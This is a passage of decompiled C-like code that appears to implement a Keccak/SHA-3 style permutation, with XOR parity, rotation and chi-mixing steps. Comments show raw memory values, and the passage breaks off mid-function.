                                                                                  				signed int _t1211;
                                                                                  				signed int _t1233;
                                                                                  				signed int _t1255;
                                                                                  				signed int _t1277;
                                                                                  				signed int* _t1299;
                                                                                  				signed int* _t1300;
                                                                                  				signed int _t1312;
                                                                                  				signed int _t1316;
                                                                                  				signed int _t1319;
                                                                                  				signed int _t1323;
                                                                                  				signed int _t1327;
                                                                                  				signed int _t1330;
                                                                                  				signed int _t1332;
                                                                                  				signed int* _t1334;
                                                                                  				signed int _t1335;
                                                                                  				signed int* _t1337;
                                                                                  				signed int _t1338;
                                                                                  				signed int* _t1340;
                                                                                  				signed int _t1341;
                                                                                  				signed int* _t1343;
                                                                                  				signed int _t1344;
                                                                                  				signed int* _t1346;
                                                                                  				signed int _t1347;
                                                                                  				signed int* _t1349;
                                                                                  				signed int _t1350;
                                                                                  				signed int* _t1352;
                                                                                  				signed int _t1353;
                                                                                  				signed int* _t1355;
                                                                                  				unsigned int _t1356;
                                                                                  				signed int* _t1358;
                                                                                  				unsigned int _t1359;
                                                                                  				signed int _t1361;
                                                                                  				signed int* _t1363;
                                                                                  				unsigned int _t1364;
                                                                                  				signed int _t1366;
                                                                                  				signed int* _t1367;
                                                                                  				signed int _t1368;
                                                                                  				signed int* _t1369;
                                                                                  				signed int _t1370;
                                                                                  				signed int* _t1371;
                                                                                  				signed int _t1372;
                                                                                  				signed int* _t1373;
                                                                                  				signed int _t1374;
                                                                                  				signed int* _t1375;
                                                                                  				signed int _t1380;
                                                                                  				signed int* _t1382;
                                                                                  				unsigned int _t1383;
                                                                                  				signed int _t1385;
                                                                                  				signed int _t1387;
                                                                                  				signed int _t1389;
                                                                                  				signed int _t1391;
                                                                                  				signed int _t1393;
                                                                                  				signed int _t1395;
                                                                                  				signed int _t1397;
                                                                                  				signed int _t1399;
                                                                                  				signed int _t1401;
                                                                                  				signed int* _t1403;
                                                                                  				signed int _t1404;
                                                                                  				intOrPtr* _t1406;
                                                                                  				signed int _t1407;
                                                                                  				signed int* _t1408;
                                                                                  				signed int _t1409;
                                                                                  				signed int* _t1410;
                                                                                  				signed int _t1411;
                                                                                  				signed int* _t1412;
                                                                                  				signed int _t1413;
                                                                                  				signed int* _t1414;
                                                                                  				signed int _t1415;
                                                                                  				signed int* _t1416;
                                                                                  				signed int _t1419;
                                                                                  				signed int _t1424;
                                                                                  				signed int _t1428;
                                                                                  				signed int _t1433;
                                                                                  				signed int _t1438;
                                                                                  				signed int _t1441;
                                                                                  				signed int* _t1443;
                                                                                  				signed int _t1444;
                                                                                  				signed int* _t1446;
                                                                                  				signed int _t1447;
                                                                                  				signed int* _t1449;
                                                                                  				signed int _t1450;
                                                                                  				signed int* _t1452;
                                                                                  				signed int _t1453;
                                                                                  				signed int* _t1455;
                                                                                  				signed int _t1456;
                                                                                  				signed int* _t1458;
                                                                                  				signed int _t1459;
                                                                                  				signed int* _t1461;
                                                                                  				signed int _t1462;
                                                                                  				signed int* _t1464;
                                                                                  				signed int _t1465;
                                                                                  				signed int* _t1467;
                                                                                  				signed int _t1468;
                                                                                  				signed int _t1470;
                                                                                  				signed int _t1472;
                                                                                  				signed int _t1474;
                                                                                  				signed int _t1475;
                                                                                  				signed int _t1476;
                                                                                  				signed int _t1477;
                                                                                  				signed int _t1478;
                                                                                  
                                                                                  				_t1416 = _a4;
                                                                                  				_v44 = 0xb7b588;
                                                                                  				do {
                                                                                  					_t3 =  &(_t1416[4]); // 0xff348d8d
                                                                                  					_t4 =  &(_t1416[0xe]); // 0x1174ff85
                                                                                  					_t5 =  &(_t1416[0x18]); // 0x5fffc883
                                                                                  					_t6 =  &(_t1416[0x22]); // 0x88
                                                                                  					_t7 =  &(_t1416[0x2c]); // 0xa48e
                                                                                  					_t8 =  &(_t1416[0xa]); // 0x3e
                                                                                  					_t9 =  &(_t1416[0x14]); // 0xffff34bd
                                                                                  					_t10 =  &(_t1416[0x1e]); // 0xb7b588d8
                                                                                  					_t11 =  &(_t1416[0x28]); // 0x8b000000
                                                                                  					_t12 =  &(_t1416[1]); // 0x3b590845
                                                                                  					_t13 =  &(_t1416[0xb]); // 0x308458b
                                                                                  					_t14 =  &(_t1416[0x15]); // 0xc8b9ff
                                                                                  					_t15 =  &(_t1416[0x1f]); // 0x105e8b00
                                                                                  					_t16 =  &(_t1416[0x29]); // 0x4e33044e
                                                                                  					_t17 =  &(_t1416[5]); // 0x5051ffff
                                                                                  					_t18 =  &(_t1416[0xf]); // 0x34958d57
                                                                                  					_t19 =  &(_t1416[0x19]); // 0xe58b5b5e
                                                                                  					_t20 =  &(_t1416[0x23]); // 0xb09e33
                                                                                  					_t21 =  &(_t1416[0x2d]); // 0x14568b00
                                                                                  					_t22 =  &(_t1416[8]); // 0xff34858d
                                                                                  					_t23 =  &(_t1416[0x12]); // 0xc483ffff
                                                                                  					_t24 =  &(_t1416[0x1c]); // 0x758b5653
                                                                                  					_t25 =  &(_t1416[0x26]); // 0x46335046
                                                                                  					_t26 =  &(_t1416[0x30]); // 0x8c
                                                                                  					_t1380 =  *_t22 ^  *_t23 ^  *_t24 ^  *_t25 ^  *_t26;
                                                                                  					_v12 =  *_t3 ^  *_t4 ^  *_t5 ^  *_t6 ^  *_t7;
                                                                                  					_t28 =  &(_t1416[6]); // 0xffa4a4e8
                                                                                  					_t29 =  &(_t1416[0x10]); // 0x52ffffff
                                                                                  					_t30 =  &(_t1416[0x1a]); // 0x8b55c35d
                                                                                  					_t31 =  &(_t1416[0x24]); // 0x68b0000
                                                                                  					_t32 =  &(_t1416[0x2e]); // 0x333c5633
                                                                                  					_v20 =  *_t1416 ^  *_t8 ^  *_t9 ^  *_t10 ^  *_t11;
                                                                                  					_t34 =  &(_t1416[2]); // 0x852d72fe
                                                                                  					_t35 =  &(_t1416[0xc]); // 0x89fe2bc6
                                                                                  					_t36 =  &(_t1416[0x16]); // 0xaaf30000
                                                                                  					_t37 =  &(_t1416[0x20]); // 0x33385e33
                                                                                  					_t38 =  &(_t1416[0x2a]); // 0x544e332c
                                                                                  					_t706 =  *_t34 ^  *_t35 ^  *_t36 ^  *_t37 ^  *_t38;
                                                                                  					_v16 =  *_t12 ^  *_t13 ^  *_t14 ^  *_t15 ^  *_t16;
                                                                                  					_t40 =  &(_t1416[3]); // 0x561174f6
                                                                                  					_t41 =  &(_t1416[0xd]); // 0xceeb0845
                                                                                  					_t42 =  &(_t1416[0x17]); // 0x3ebc033
                                                                                  					_t43 =  &(_t1416[0x21]); // 0x9e33605e
                                                                                  					_t44 =  &(_t1416[0x2b]); // 0x337c4e33
                                                                                  					_t1034 =  *_t40 ^  *_t41 ^  *_t42 ^  *_t43 ^  *_t44;
                                                                                  					_v40 =  *_t17 ^  *_t18 ^  *_t19 ^  *_t20 ^  *_t21;
                                                                                  					_t46 =  &(_t1416[7]); // 0xcc483ff
                                                                                  					_t47 =  &(_t1416[0x11]); // 0xa477e850
                                                                                  					_t48 =  &(_t1416[0x1b]); // 0x28ec83ec
                                                                                  					_t49 =  &(_t1416[0x25]); // 0x33284633
                                                                                  					_t50 =  &(_t1416[0x2f]); // 0x96336456
                                                                                  					_v32 =  *_t28 ^  *_t29 ^  *_t30 ^  *_t31 ^  *_t32;
                                                                                  					_t52 =  &(_t1416[9]); // 0xe850ffff
                                                                                  					_t53 =  &(_t1416[0x13]); // 0x8dc0320c
                                                                                  					_t54 =  &(_t1416[0x1d]); // 0x45c75708
                                                                                  					_t55 =  &(_t1416[0x27]); // 0xa0863378
                                                                                  					_t56 =  &(_t1416[0x31]); // 0xb49633
                                                                                  					_v24 = _t706;
                                                                                  					_v28 = _t1034;
                                                                                  					_v36 =  *_t46 ^  *_t47 ^  *_t48 ^  *_t49 ^  *_t50;
                                                                                  					_t1419 = _t1034 >> 0x0000001f | _t706 + _t706;
                                                                                  					_v8 =  *_t52 ^  *_t53 ^  *_t54 ^  *_t55 ^  *_t56;
                                                                                  					_t985 = _a4;
                                                                                  					_t1312 = (_t1034 << 0x00000020 | _t706) << 1;
                                                                                  					_t67 =  &(_t985[1]); // 0x3b590845
                                                                                  					 *_t985 = _t1419 ^  *_a4 ^ _t1380;
                                                                                  					_t985[1] = _t1312 ^  *_t67 ^ _v8;
                                                                                  					_t985[0xa] = _t985[0xa] ^ _t1419 ^ _t1380;
                                                                                  					_t985[0xb] = _t985[0xb] ^ _t1312 ^ _v8;
                                                                                  					_t75 =  &(_t985[0x14]); // 0xffff34bd
                                                                                  					_t76 =  &(_t985[0x15]); // 0xc8b9ff
                                                                                  					_t985[0x14] = _t1419 ^  *_t75 ^ _t1380;
                                                                                  					_t985[0x15] = _t1312 ^  *_t76 ^ _v8;
                                                                                  					_t80 =  &(_t985[0x1e]); // 0xb7b588d8
                                                                                  					_t81 =  &(_t985[0x1f]); // 0x105e8b00
                                                                                  					_t985[0x1e] = _t1419 ^  *_t80 ^ _t1380;
                                                                                  					_t1050 = _t985;
                                                                                  					_t1050[0x1f] = _t1312 ^  *_t81 ^ _v8;
                                                                                  					_t85 =  &(_t1050[0x28]); // 0x8b000000
                                                                                  					_t86 =  &(_t1050[0x29]); // 0x4e33044e
                                                                                  					_t1050[0x28] = _t1419 ^  *_t85 ^ _t1380;
                                                                                  					_t1050[0x29] = _t1312 ^  *_t86 ^ _v8;
                                                                                  					_t1051 = _v40;
                                                                                  					_t722 = _v12;
                                                                                  					_t1316 = (_t1051 << 0x00000020 | _t722) << 1;
                                                                                  					_t1424 = _t1051 >> 0x0000001f | _t722 + _t722;
                                                                                  					_t96 =  &(_t985[2]); // 0x852d72fe
                                                                                  					_t97 =  &(_t985[3]); // 0x561174f6
                                                                                  					_t985[2] = _t1424 ^  *_t96 ^ _v20;
                                                                                  					_t985[3] = _t1316 ^  *_t97 ^ _v16;
                                                                                  					_t102 =  &(_t985[0xc]); // 0x89fe2bc6
                                                                                  					_t103 =  &(_t985[0xd]); // 0xceeb0845
                                                                                  					_t985[0xc] = _t1424 ^  *_t102 ^ _v20;
                                                                                  					_t985[0xd] = _t1316 ^  *_t103 ^ _v16;
                                                                                  					_t985[0x16] = _t985[0x16] ^ _t1424 ^ _v20;
                                                                                  					_t985[0x17] = _t985[0x17] ^ _t1316 ^ _v16;
                                                                                  					_t985[0x20] = _t985[0x20] ^ _t1424 ^ _v20;
                                                                                  					_t1066 = _t985;
                                                                                  					_t1066[0x21] = _t1066[0x21] ^ _t1316 ^ _v16;
                                                                                  					_t1066[0x2a] = _t1066[0x2a] ^ _t1424 ^ _v20;
                                                                                  					_t1066[0x2b] = _t1066[0x2b] ^ _t1316 ^ _v16;
                                                                                  					_t1067 = _v36;
                                                                                  					_t736 = _v32;
                                                                                  					_t1428 = _t1067 >> 0x0000001f | _t736 + _t736;
                                                                                  					_t1319 = (_t1067 << 0x00000020 | _t736) << 1;
                                                                                  					_t132 =  &(_t985[4]); // 0xff348d8d
                                                                                  					_t133 =  &(_t985[5]); // 0x5051ffff
                                                                                  					_t985[4] = _t1428 ^  *_t132 ^ _v24;
                                                                                  					_t985[5] = _t1319 ^  *_t133 ^ _v28;
                                                                                  					_t138 =  &(_t985[0xe]); // 0x1174ff85
                                                                                  					_t139 =  &(_t985[0xf]); // 0x34958d57
                                                                                  					_t985[0xe] = _t1428 ^  *_t138 ^ _v24;
                                                                                  					_t985[0xf] = _t1319 ^  *_t139 ^ _v28;
                                                                                  					_t144 =  &(_t985[0x18]); // 0x5fffc883
                                                                                  					_t145 =  &(_t985[0x19]); // 0xe58b5b5e
                                                                                  					_t985[0x18] = _t1428 ^  *_t144 ^ _v24;
                                                                                  					_t985[0x19] = _t1319 ^  *_t145 ^ _v28;
                                                                                  					_t150 =  &(_t985[0x22]); // 0x88
                                                                                  					_t151 =  &(_t985[0x23]); // 0xb09e33
                                                                                  					_t985[0x22] = _t1428 ^  *_t150 ^ _v24;
                                                                                  					_t1084 = _t985;
                                                                                  					_t986 = _v8;
                                                                                  					_t1084[0x23] = _t1319 ^  *_t151 ^ _v28;
                                                                                  					_t157 =  &(_t1084[0x2c]); // 0xa48e
                                                                                  					_t158 =  &(_t1084[0x2d]); // 0x14568b00
                                                                                  					_t1084[0x2c] = _t1428 ^  *_t157 ^ _v24;
                                                                                  					_t1084[0x2d] = _t1319 ^  *_t158 ^ _v28;
                                                                                  					_t1323 = (_t986 << 0x00000020 | _t1380) << 1;
                                                                                  					_t988 = _v40;
                                                                                  					_t1433 = _t986 >> 0x0000001f | _t1380 + _t1380;
                                                                                  					_t1382 = _a4;
                                                                                  					 *(_t1382 + 0x18) =  *(_t1382 + 0x18) ^ _t1433 ^ _v12;
                                                                                  					 *(_t1382 + 0x1c) =  *(_t1382 + 0x1c) ^ _t1323 ^ _t988;
                                                                                  					_t174 = _t1382 + 0x40; // 0x52ffffff
                                                                                  					_t176 = _t1382 + 0x44; // 0xa477e850
                                                                                  					 *(_t1382 + 0x40) = _t1433 ^  *_t174 ^ _v12;
                                                                                  					 *(_t1382 + 0x44) = _t1323 ^  *_t176 ^ _t988;
                                                                                  					_t179 = _t1382 + 0x68; // 0x8b55c35d
                                                                                  					_t180 = _t1382 + 0x6c; // 0x28ec83ec
                                                                                  					 *(_t1382 + 0x68) = _t1433 ^  *_t179 ^ _v12;
                                                                                  					 *(_t1382 + 0x6c) = _t1323 ^  *_t180 ^ _t988;
                                                                                  					_t184 = _t1382 + 0x90; // 0x68b0000
                                                                                  					_t185 = _t1382 + 0x94; // 0x33284633
                                                                                  					 *(_t1382 + 0x90) = _t1433 ^  *_t184 ^ _v12;
                                                                                  					_t1099 = _t1382;
                                                                                  					 *(_t1099 + 0x94) = _t1323 ^  *_t185 ^ _t988;
                                                                                  					_t189 = _t1099 + 0xb8; // 0x333c5633
                                                                                  					_t190 = _t1099 + 0xbc; // 0x96336456
                                                                                  					 *(_t1099 + 0xb8) = _t1433 ^  *_t189 ^ _v12;
                                                                                  					_t989 = _t1382;
                                                                                  					 *(_t1099 + 0xbc) = _t1323 ^  *_t190 ^ _t988;
                                                                                  					_t1100 = _v16;
                                                                                  					_t768 = _v20;
                                                                                  					_t1327 = (_t1100 << 0x00000020 | _t768) << 1;
                                                                                  					_t1438 = _t1100 >> 0x0000001f | _t768 + _t768;
                                                                                  					_t200 = _t989 + 0x24; // 0xe850ffff
                                                                                  					_t201 = _t989 + 0x20; // 0xff34858d
                                                                                  					 *(_t989 + 0x20) = _t1438 ^  *_t201 ^ _v32;
                                                                                  					_t990 = _v36;
                                                                                  					 *(_t989 + 0x24) = _t1327 ^  *_t200 ^ _v36;
                                                                                  					 *(_t1382 + 0x48) =  *(_t1382 + 0x48) ^ _t1438 ^ _v32;
                                                                                  					 *(_t1382 + 0x4c) =  *(_t1382 + 0x4c) ^ _t1327 ^ _t990;
                                                                                  					_t212 = _t1382 + 0x70; // 0x758b5653
                                                                                  					_t213 = _t1382 + 0x74; // 0x45c75708
                                                                                  					 *(_t1382 + 0x70) = _t1438 ^  *_t212 ^ _v32;
                                                                                  					 *(_t1382 + 0x74) = _t1327 ^  *_t213 ^ _t990;
                                                                                  					_t217 = _t1382 + 0x98; // 0x46335046
                                                                                  					_t219 = _t1382 + 0x9c; // 0xa0863378
                                                                                  					 *(_t1382 + 0x98) = _t1438 ^  *_t217 ^ _v32;
                                                                                  					_t1116 = _t1382;
                                                                                  					 *(_t1116 + 0x9c) = _t1327 ^  *_t219 ^ _t990;
                                                                                  					_t222 = _t1116 + 0xc0; // 0x8c
                                                                                  					_t223 = _t1116 + 0xc4; // 0xb49633
                                                                                  					 *(_t1116 + 0xc0) = _t1438 ^  *_t222 ^ _v32;
                                                                                  					 *(_t1116 + 0xc4) = _t1327 ^  *_t223 ^ _t990;
                                                                                  					_t227 = _t1116 + 8; // 0x852d72fe
                                                                                  					_t1441 =  *_t227;
                                                                                  					_t228 = _t1116 + 0xc; // 0x561174f6
                                                                                  					_t1330 =  *_t228;
                                                                                  					_t229 = _t1116 + 0x50; // 0xffff34bd
                                                                                  					_t991 =  *_t229;
                                                                                  					_t230 = _t1116 + 0x54; // 0xc8b9ff
                                                                                  					_t1383 =  *_t230;
                                                                                  					_t1443 = _a4;
                                                                                  					 *(_t1443 + 0x50) = _t1330 >> 0x0000001f | _t1441 + _t1441;
                                                                                  					 *(_t1443 + 0x54) = (_t1330 << 0x00000020 | _t1441) << 1;
                                                                                  					_t238 = _t1443 + 0x38; // 0x1174ff85
                                                                                  					_t239 = _t1443 + 0x3c; // 0x34958d57
                                                                                  					_t1332 =  *_t239;
                                                                                  					_v40 =  *_t238;
                                                                                  					 *(_t1443 + 0x3c) = (_t1383 << 0x00000020 | _t991) << 3;
                                                                                  					 *(_t1443 + 0x38) = _t1383 >> 0x0000001d | _t991 << 0x00000003;
                                                                                  					_t247 = _t1443 + 0x58; // 0xaaf30000
                                                                                  					_t1385 =  *_t247;
                                                                                  					_t248 = _t1443 + 0x5c; // 0x3ebc033
                                                                                  					_t1444 =  *_t248;
                                                                                  					_t993 = _v40;
                                                                                  					_t1334 = _a4;
                                                                                  					 *(_t1334 + 0x58) = _t1332 >> 0x0000001a | _t993 << 0x00000006;
                                                                                  					 *(_t1334 + 0x5c) = (_t1332 << 0x00000020 | _t993) << 6;
                                                                                  					_t257 = _t1334 + 0x88; // 0x88
                                                                                  					_t995 =  *_t257;
                                                                                  					_t258 = _t1334 + 0x8c; // 0xb09e33
                                                                                  					_t1335 =  *_t258;
                                                                                  					_t1446 = _a4;
                                                                                  					 *(_t1446 + 0x88) = _t1444 >> 0x00000016 | _t1385 << 0x0000000a;
                                                                                  					 *(_t1446 + 0x8c) = (_t1444 << 0x00000020 | _t1385) << 0xa;
                                                                                  					_t266 = _t1446 + 0x90; // 0x68b0000
                                                                                  					_t1387 =  *_t266;
                                                                                  					_t267 = _t1446 + 0x94; // 0x33284633
                                                                                  					_t1447 =  *_t267;
                                                                                  					_t1337 = _a4;
                                                                                  					 *(_t1337 + 0x90) = _t1335 >> 0x00000011 | _t995 << 0x0000000f;
                                                                                  					 *(_t1337 + 0x94) = (_t1335 << 0x00000020 | _t995) << 0xf;
                                                                                  					_t275 = _t1337 + 0x18; // 0xffa4a4e8
                                                                                  					_t997 =  *_t275;
                                                                                  					_t276 = _t1337 + 0x1c; // 0xcc483ff
                                                                                  					_t1338 =  *_t276;
                                                                                  					_t1449 = _a4;
                                                                                  					 *(_t1449 + 0x18) = _t1447 >> 0x0000000b | _t1387 << 0x00000015;
                                                                                  					 *(_t1449 + 0x1c) = (_t1447 << 0x00000020 | _t1387) << 0x15;
                                                                                  					_t284 = _t1449 + 0x28; // 0x3e
                                                                                  					_t1389 =  *_t284;
                                                                                  					_t285 = _t1449 + 0x2c; // 0x308458b
                                                                                  					_t1450 =  *_t285;
                                                                                  					_t1340 = _a4;
                                                                                  					 *(_t1340 + 0x28) = _t1338 >> 0x00000004 | _t997 << 0x0000001c;
                                                                                  					 *(_t1340 + 0x2c) = (_t1338 << 0x00000020 | _t997) << 0x1c;
                                                                                  					_t293 = _t1340 + 0x80; // 0x33385e33
                                                                                  					_t999 =  *_t293;
                                                                                  					_t294 = _t1340 + 0x84; // 0x9e33605e
                                                                                  					_t1341 =  *_t294;
                                                                                  					_t1452 = _a4;
                                                                                  					 *(_t1452 + 0x84) = _t1389 << 0x00000004 | _t1450 >> 0x0000001c;
                                                                                  					 *(_t1452 + 0x80) = (_t1450 << 0x00000020 | _t1389) >> 0x1c;
                                                                                  					_t302 = _t1452 + 0x40; // 0x52ffffff
                                                                                  					_t1391 =  *_t302;
                                                                                  					_t303 = _t1452 + 0x44; // 0xa477e850
                                                                                  					_t1453 =  *_t303;
                                                                                  					_t1343 = _a4;
                                                                                  					 *(_t1343 + 0x44) = _t999 << 0x0000000d | _t1341 >> 0x00000013;
                                                                                  					 *(_t1343 + 0x40) = (_t1341 << 0x00000020 | _t999) >> 0x13;
                                                                                  					_t311 = _t1343 + 0xa8; // 0x544e332c
                                                                                  					_t1001 =  *_t311;
                                                                                  					_t312 = _t1343 + 0xac; // 0x337c4e33
                                                                                  					_t1344 =  *_t312;
                                                                                  					_t1455 = _a4;
                                                                                  					 *(_t1455 + 0xac) = _t1391 << 0x00000017 | _t1453 >> 0x00000009;
                                                                                  					 *(_t1455 + 0xa8) = (_t1453 << 0x00000020 | _t1391) >> 9;
                                                                                  					_t320 = _t1455 + 0xc0; // 0x8c
                                                                                  					_t1393 =  *_t320;
                                                                                  					_t321 = _t1455 + 0xc4; // 0xb49633
                                                                                  					_t1456 =  *_t321;
                                                                                  					_t1346 = _a4;
                                                                                  					 *(_t1346 + 0xc0) = _t1344 >> 0x0000001e | _t1001 << 0x00000002;
                                                                                  					 *(_t1346 + 0xc4) = (_t1344 << 0x00000020 | _t1001) << 2;
                                                                                  					_t329 = _t1346 + 0x20; // 0xff34858d
                                                                                  					_t1003 =  *_t329;
                                                                                  					_t330 = _t1346 + 0x24; // 0xe850ffff
                                                                                  					_t1347 =  *_t330;
                                                                                  					_t1458 = _a4;
                                                                                  					 *(_t1458 + 0x20) = _t1456 >> 0x00000012 | _t1393 << 0x0000000e;
                                                                                  					 *(_t1458 + 0x24) = (_t1456 << 0x00000020 | _t1393) << 0xe;
                                                                                  					_t338 = _t1458 + 0x78; // 0xb7b588d8
                                                                                  					_t1395 =  *_t338;
                                                                                  					_t339 = _t1458 + 0x7c; // 0x105e8b00
                                                                                  					_t1459 =  *_t339;
                                                                                  					_t1349 = _a4;
                                                                                  					 *(_t1349 + 0x78) = _t1347 >> 0x00000005 | _t1003 << 0x0000001b;
                                                                                  					 *(_t1349 + 0x7c) = (_t1347 << 0x00000020 | _t1003) << 0x1b;
                                                                                  					_t347 = _t1349 + 0xb8; // 0x333c5633
                                                                                  					_t1005 =  *_t347;
                                                                                  					_t348 = _t1349 + 0xbc; // 0x96336456
                                                                                  					_t1350 =  *_t348;
                                                                                  					_t1461 = _a4;
                                                                                  					 *(_t1461 + 0xbc) = _t1395 << 0x00000009 | _t1459 >> 0x00000017;
                                                                                  					 *(_t1461 + 0xb8) = (_t1459 << 0x00000020 | _t1395) >> 0x17;
                                                                                  					_t356 = _t1461 + 0x98; // 0x46335046
                                                                                  					_t1397 =  *_t356;
                                                                                  					_t357 = _t1461 + 0x9c; // 0xa0863378
                                                                                  					_t1462 =  *_t357;
                                                                                  					_t1352 = _a4;
                                                                                  					 *(_t1352 + 0x9c) = _t1005 << 0x00000018 | _t1350 >> 0x00000008;
                                                                                  					 *(_t1352 + 0x98) = (_t1350 << 0x00000020 | _t1005) >> 8;
                                                                                  					_t365 = _t1352 + 0x68; // 0x8b55c35d
                                                                                  					_t1007 =  *_t365;
                                                                                  					_t366 = _t1352 + 0x6c; // 0x28ec83ec
                                                                                  					_t1353 =  *_t366;
                                                                                  					_t1464 = _a4;
                                                                                  					 *(_t1464 + 0x68) = _t1462 >> 0x00000018 | _t1397 << 0x00000008;
                                                                                  					 *(_t1464 + 0x6c) = (_t1462 << 0x00000020 | _t1397) << 8;
                                                                                  					_t374 = _t1464 + 0x60; // 0x5fffc883
                                                                                  					_t1399 =  *_t374;
                                                                                  					_t375 = _t1464 + 0x64; // 0xe58b5b5e
                                                                                  					_t1465 =  *_t375;
                                                                                  					_t1355 = _a4;
                                                                                  					 *(_t1355 + 0x60) = _t1353 >> 0x00000007 | _t1007 << 0x00000019;
                                                                                  					 *(_t1355 + 0x64) = (_t1353 << 0x00000020 | _t1007) << 0x19;
                                                                                  					_t383 = _t1355 + 0x10; // 0xff348d8d
                                                                                  					_t1009 =  *_t383;
                                                                                  					_t384 = _t1355 + 0x14; // 0x5051ffff
                                                                                  					_t1356 =  *_t384;
                                                                                  					_t1467 = _a4;
                                                                                  					 *(_t1467 + 0x14) = _t1399 << 0x0000000b | _t1465 >> 0x00000015;
                                                                                  					 *(_t1467 + 0x10) = (_t1465 << 0x00000020 | _t1399) >> 0x15;
                                                                                  					_t392 = _t1467 + 0xa0; // 0x8b000000
                                                                                  					_t1401 =  *_t392;
                                                                                  					_t393 = _t1467 + 0xa4; // 0x4e33044e
                                                                                  					_t1468 =  *_t393;
                                                                                  					_t1358 = _a4;
                                                                                  					 *(_t1358 + 0xa0) = (_t1356 << 0x00000020 | _t1009) >> 2;
                                                                                  					 *(_t1358 + 0xa4) = _t1009 << 0x0000001e | _t1356 >> 0x00000002;
                                                                                  					_t401 = _t1358 + 0x70; // 0x758b5653
                                                                                  					_t1011 =  *_t401;
                                                                                  					_t402 = _t1358 + 0x74; // 0x45c75708
                                                                                  					_t1359 =  *_t402;
                                                                                  					_t1403 = _a4;
                                                                                  					 *(_t1403 + 0x70) = _t1468 >> 0x0000000e | _t1401 << 0x00000012;
                                                                                  					 *(_t1403 + 0x74) = (_t1468 << 0x00000020 | _t1401) << 0x12;
                                                                                  					_t410 = _t1403 + 0xb0; // 0xa48e
                                                                                  					_t411 = _t1403 + 0xb4; // 0x14568b00
                                                                                  					_t1470 =  *_t411;
                                                                                  					_v40 =  *_t410;
                                                                                  					 *(_t1403 + 0xb0) = (_t1359 << 0x00000020 | _t1011) >> 0x19;
                                                                                  					 *(_t1403 + 0xb4) = _t1011 << 0x00000007 | _t1359 >> 0x00000019;
                                                                                  					_t419 = _t1403 + 0x48; // 0xc483ffff
                                                                                  					_t1013 =  *_t419;
                                                                                  					_t420 = _t1403 + 0x4c; // 0x8dc0320c
                                                                                  					_t1404 =  *_t420;
                                                                                  					_t1361 = _v40;
                                                                                  					_t1363 = _a4;
                                                                                  					 *(_t1363 + 0x4c) = _t1361 << 0x0000001d | _t1470 >> 0x00000003;
                                                                                  					 *(_t1363 + 0x48) = (_t1470 << 0x00000020 | _t1361) >> 3;
                                                                                  					_t429 = _t1363 + 0x30; // 0x89fe2bc6
                                                                                  					_t1472 =  *_t429;
                                                                                  					_t430 = _t1363 + 0x34; // 0xceeb0845
                                                                                  					_t1364 =  *_t430;
                                                                                  					_t1406 = _a4;
                                                                                  					 *(_t1406 + 0x30) = _t1404 >> 0x0000000c | _t1013 << 0x00000014;
                                                                                  					 *(_t1406 + 0x34) = (_t1404 << 0x00000020 | _t1013) << 0x14;
                                                                                  					 *(_t1406 + 8) = (_t1364 << 0x00000020 | _t1472) >> 0x14;
                                                                                  					 *(_t1406 + 0xc) = _t1472 << 0x0000000c | _t1364 >> 0x00000014;
                                                                                  					_t444 = _t1406 + 8; // 0x852d72fe
                                                                                  					_t1189 =  *_t444;
                                                                                  					_t445 = _t1406 + 0x18; // 0xffa4a4e8
                                                                                  					_t446 = _t1406 + 0x10; // 0xff348d8d
                                                                                  					_t1474 =  *_t446;
                                                                                  					_t447 = _t1406 + 0x14; // 0x5051ffff
                                                                                  					_t1366 =  *_t447;
                                                                                  					_v36 =  *_t1406;
                                                                                  					_t449 = _t1406 + 4; // 0x3b590845
                                                                                  					_v32 =  *_t449;
                                                                                  					_t451 = _t1406 + 0xc; // 0x561174f6
                                                                                  					_t452 = _t1406 + 0x1c; // 0xcc483ff
                                                                                  					_t1407 =  *_t452;
                                                                                  					_v28 =  *_t451;
                                                                                  					_t836 = _a4;
                                                                                  					_v16 = _t1189;
                                                                                  					_v40 =  *_t445;
                                                                                  					_t458 = _t836 + 0x20; // 0xff34858d
                                                                                  					_t1016 = _a4;
                                                                                  					_v24 =  *_t458;
                                                                                  					_t462 =  &(_a4[9]); // 0xe850ffff
                                                                                  					_v20 =  *_t462;
                                                                                  					 *_t1016 =  !_t1189 & _t1474 ^ _v36;
                                                                                  					_t1016[1] =  !_v28 & _t1366 ^ _v32;
                                                                                  					_t1016[2] =  !_t1474 & _v40 ^ _v16;
                                                                                  					_t1016[3] =  !_t1366 & _t1407 ^ _v28;
                                                                                  					_t1367 = _t1016;
                                                                                  					_t1367[5] =  !_t1407 & _v20 ^ _t1366;
                                                                                  					_t1367[4] =  !_v40 & _v24 ^ _t1474;
                                                                                  					_t1408 = _t1367;
                                                                                  					_t1408[7] =  !_v20 & _v32 ^ _t1407;
                                                                                  					_t1408[6] =  !_v24 & _v36 ^ _v40;
                                                                                  					_t1408[9] =  !_v32 & _v28 ^ _v20;
                                                                                  					_t1408[8] =  !_v36 & _v16 ^ _v24;
                                                                                  					_t492 =  &(_t1408[0xa]); // 0x3e
                                                                                  					_t493 =  &(_t1408[0xc]); // 0x89fe2bc6
                                                                                  					_t1211 =  *_t493;
                                                                                  					_t494 =  &(_t1408[0x10]); // 0x52ffffff
                                                                                  					_t495 =  &(_t1408[0xe]); // 0x1174ff85
                                                                                  					_t1475 =  *_t495;
                                                                                  					_t496 =  &(_t1408[0xf]); // 0x34958d57
                                                                                  					_t1368 =  *_t496;
                                                                                  					_v36 =  *_t492;
                                                                                  					_t498 =  &(_t1408[0xb]); // 0x308458b
                                                                                  					_v32 =  *_t498;
                                                                                  					_t500 =  &(_t1408[0xd]); // 0xceeb0845
                                                                                  					_t501 =  &(_t1408[0x11]); // 0xa477e850
                                                                                  					_t1409 =  *_t501;
                                                                                  					_v28 =  *_t500;
                                                                                  					_t863 = _a4;
                                                                                  					_v16 = _t1211;
                                                                                  					_v40 =  *_t494;
                                                                                  					_t507 = _t863 + 0x48; // 0xc483ffff
                                                                                  					_t1018 = _a4;
                                                                                  					_v24 =  *_t507;
                                                                                  					_t511 =  &(_a4[0x13]); // 0x8dc0320c
                                                                                  					_v20 =  *_t511;
                                                                                  					 *(_t1018 + 0x28) =  !_t1211 & _t1475 ^ _v36;
                                                                                  					 *(_t1018 + 0x2c) =  !_v28 & _t1368 ^ _v32;
                                                                                  					 *(_t1018 + 0x30) =  !_t1475 & _v40 ^ _v16;
                                                                                  					 *(_t1018 + 0x34) =  !_t1368 & _t1409 ^ _v28;
                                                                                  					_t1369 = _t1018;
                                                                                  					 *(_t1369 + 0x3c) =  !_t1409 & _v20 ^ _t1368;
